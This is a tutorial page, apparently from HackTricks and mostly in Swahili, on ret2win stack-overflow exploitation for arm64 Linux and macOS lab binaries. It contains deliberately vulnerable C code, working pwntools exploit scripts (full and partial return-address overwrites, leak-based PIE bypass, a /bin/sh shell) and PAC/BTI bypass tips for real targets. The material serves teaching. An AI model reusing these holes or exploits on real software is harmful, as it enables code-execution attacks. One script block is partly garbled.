Ret2win - arm64

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Pata utangulizi wa arm64 katika:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile bila pie na canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Orodha ya ziada -mbranch-protection=none huzima AArch64 Branch Protection (PAC/BTI). Ikiwa toolchain yako kwa chaguo-msingi huwezesha PAC au BTI, hii huifanya lab iweze kurudiwa. Ili kuangalia kama binary iliyokusanywa inatumia PAC/BTI unaweza:
  • Tafuta AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Kagua prologues/epilogues kwa paciasp/autiasp (PAC) au kwa bti c landing pads (BTI):
  • objdump -d ret2win | head -n 40

Ukweli wa haraka wa calling convention ya AArch64

  • Link register ni x30 (a.k.a. lr), na functions kwa kawaida huhifadhi x29/x30 kwa stp x29, x30, [sp, #-16]! na kuwarejesha kwa ldp x29, x30, [sp], #16; ret.
  • Hii inamaanisha saved return address iko sp+8 ikilinganishwa na msingi wa frame. Ukiweka char buffer[64] chini yake, umbali wa kawaida wa ku-overwrite hadi saved x30 ni 64 (buffer) + 8 (saved x29) = bytes 72 — hasa kile tutakachokipata hapa chini.
  • Stack pointer lazima ibaki imepangwa kwa 16-byte alignment kwenye mipaka ya function. Ukijenga ROP chains baadaye kwa hali ngumu zaidi, weka SP alignment au unaweza ku-crash kwenye function epilogues.

Kwa nini partial overwrites hufanya kazi vizuri sana kwenye AArch64

  • AArch64 Linux kwa kawaida ni little-endian, kwa hiyo byte ya kwanza unayo-overwrite kwenye memory ni least significant byte ya saved x30. Ndiyo maana overwrite fupi kwa p8()/p16() inaweza ku-retarget return address bila kugusa bytes za juu.
  • Kwenye PIE binaries, page offset hubaki constant baada ya relocation. Kivitendo bits za chini 12 za function address huhifadhiwa na ASLR, kwa hiyo 1-byte overwrite inaweza kusogeza tu ndani ya dirisha lilelile la 0x100 na 2-byte overwrite inaweza kusogeza tu ndani ya dirisha lilelile la 0x10000.
  • Kwa hiyo, kabla ya kujaribu partial ret2win, linganisha original saved return address na target win() address. Kama zinatofautiana nje ya bytes za chini hizo, 1- au 2-byte overwrite haitoshi na utahitaji ama leak au primitive kubwa zaidi ya overwrite.

Kupata offset

Chaguo la pattern

Mfano huu uliundwa kwa kutumia GEF:

Anzisha gdb na gef, tengeneza pattern na uitumie:

gdb -q ./ret2win
pattern create 200
run

arm64 itajaribu kurudi kwenye anwani iliyo kwenye register x30 (ambayo iliharibiwa), tunaweza kutumia hilo kupata pattern offset:

pattern search $x30

Offset ni 72 (9x48).

Chaguo la stack offset

Anza kwa kupata anwani ya stack ambako register ya pc imehifadhiwa:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Sasa weka breakpoint baada ya read() na uendelee hadi read() itakapotekelezwa na weka pattern kama 13371337:

b *vulnerable_function+28
c

Tafuta mahali ambapo pattern hii imehifadhiwa kwenye memory:

Kisha: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

Pata address ya function win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Udhaifu:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Kwa kweli hii itakuwa zaidi kama off-by-2 katika stored PC kwenye stack. Badala ya ku-overwrite anwani yote ya return, tuta-overwrite byte 2 za mwisho pekee na 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Unaweza kupata mfano mwingine wa off-by-one katika ARM64 katika https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, ambao ni off-by-one halisi ndani ya vulnerability ya kubuniwa.

With PIE

Tip

Compile the binary without the -no-pie argument

Off-by-2

Bila leak hatujui anwani sahihi ya function ya kushinda lakini tunaweza kujua offset ya function kutoka kwenye binary na, kwa sababu return address tunayoandika juu yake tayari inaelekeza ndani ya picha ileile ya PIE, mara nyingi tunaweza kuielekeza upya kwa kubadilisha bytes za chini tu. Katika mfano huu, offset husika kwenda win() ni 0x7d4 na overwrite ya bytes 2 inatosha kwa sababu saved return address na win() bado zinashiriki bytes za juu zilezile.

Njia ya haraka ya kuangalia uhalisia wa hili kabla ya kuandika exploit ni kulinganisha anwani zote mbili kwenye debugger na kuacha tu bytes za chini unazohitaji kubadilisha kweli:

saved x30 : 0x0000aaaaaa00079c
win()     : 0x0000aaaaaa0007d4
^^^^

Ni baiti mbili za mwisho pekee ndizo zinatofautiana hapa, kwa hiyo p16(0x07d4) inatosha. Kama lengo lako lingeonekana kama 0x0000aaaaab1207d4, baiti za juu pia zingebadilika na mbinu hiyo hiyo ingeshindwa.

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Compile bila canary (katika macOS huwezi kuzima PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Tekeleza bila ASLR (ingawa tuna leak ya anwani, hatuitaji):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Haiwezekani kulemaza NX katika macOS kwa sababu katika arm64 hali hii imetekelezwa katika kiwango cha maunzi hivyo huwezi kuilemaza, kwa hiyo hautapata mifano yenye shellcode kwenye stack katika macOS.

Find the offset

  • Tengeneza pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Endesha programu na uweke pattern ili kusababisha crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Angalia register x30 (anwani ya kurudi) ili kupata offset:
(lldb) register read x30
  • Tumia cyclic -l <value> kupata offset sahihi:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Hivyo ndivyo nilivyopata offset 72, kwa kuweka kwenye offset hiyo anwani ya function win() unaweza ku-execute hiyo function na kupata shell (inafanya kazi bila ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - Mfano wa 2nd

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Compile bila canary (katika macOS huwezi kuzima PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Pata offset

  • Tengeneza pattern ndani ya faili /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Endesha programu ili kusababisha crash:
lldb ./bof_macos
(lldb) run
  • Angalia register x30 (anwani ya kurudi) ili kupata offset:
(lldb) register read x30
  • Tumia cyclic -l <value> ili kupata offset sahihi:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Hivyo ndivyo nilivyopata offset 72, kwa kuweka kwenye offset hiyo anwani ya function win() unaweza ku-execute function hiyo na kupata shell (inaendeshwa bila ASLR).

Hesabu anwani ya win()

  • Binary ni PIE, kwa kutumia leak ya function leak_anchor() na kujua offset ya function win() kutoka kwa function leak_anchor() tunaweza kuhesabu anwani ya function win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • Offset ni 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Vidokezo kuhusu modern AArch64 hardening (PAC/BTI) na ret2win

  • Current GCC/Clang toolchains support -mbranch-protection=standard, which enables the common PAC/BTI hardening profile. For labs, keep using -mbranch-protection=none so your saved-x30 overwrite behaves like a classic ret2win.
  • If the binary is compiled with AArch64 Branch Protection, you may see paciasp/autiasp or bti c emitted in function prologues/epilogues. In that case:
  • Kurudi kwenye address ambayo si valid BTI landing pad kunaweza kusababisha SIGILL. Pendelea kulenga exact function entry ambayo ina bti c.
  • pac-ret signs functions that actually spill the return address to memory, so non-leaf functions are usually affected first. A leaf win() may still lack PAC unless the binary was built with pac-ret+leaf.
  • If PAC is enabled for returns, naive return-address overwrites may fail because the epilogue authenticates x30. For learning scenarios, rebuild with -mbranch-protection=none (shown above). When attacking real targets, prefer non-return hijacks (e.g., function pointer overwrites) or build ROP that never executes an autiasp/ret pair that authenticates your forged LR.
  • To check features quickly:
  • readelf --notes -W ./ret2win and look for AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC notes.
  • objdump -d ./ret2win | head -n 40 and look for bti c, paciasp, autiasp.
  • readelf -n ./ret2win | grep -A1 'AArch64 feature' is useful to confirm whether the linker actually kept the GNU property note.

Running on non‑ARM64 hosts (qemu‑user quick tip)

If you are on x86_64 but want to practice AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'set architecture arm64' -ex 'target remote :1234'
# If symbols for shared libraries are missing inside GDB
(gdb) set solib-search-path /usr/aarch64-linux-gnu/lib/

Kurasa zinazohusiana za HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Marejeo

  • Chaguo za GCC AArch64 (-mbranch-protection=standard, pac-ret, bti). https://gcc.gnu.org/onlinedocs/gcc/AArch64-Options.html
  • Kuwasha PAC na BTI kwenye AArch64 kwa Linux (Arm Community, Nov 2024). https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/enabling-pac-and-bti-on-aarch64

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks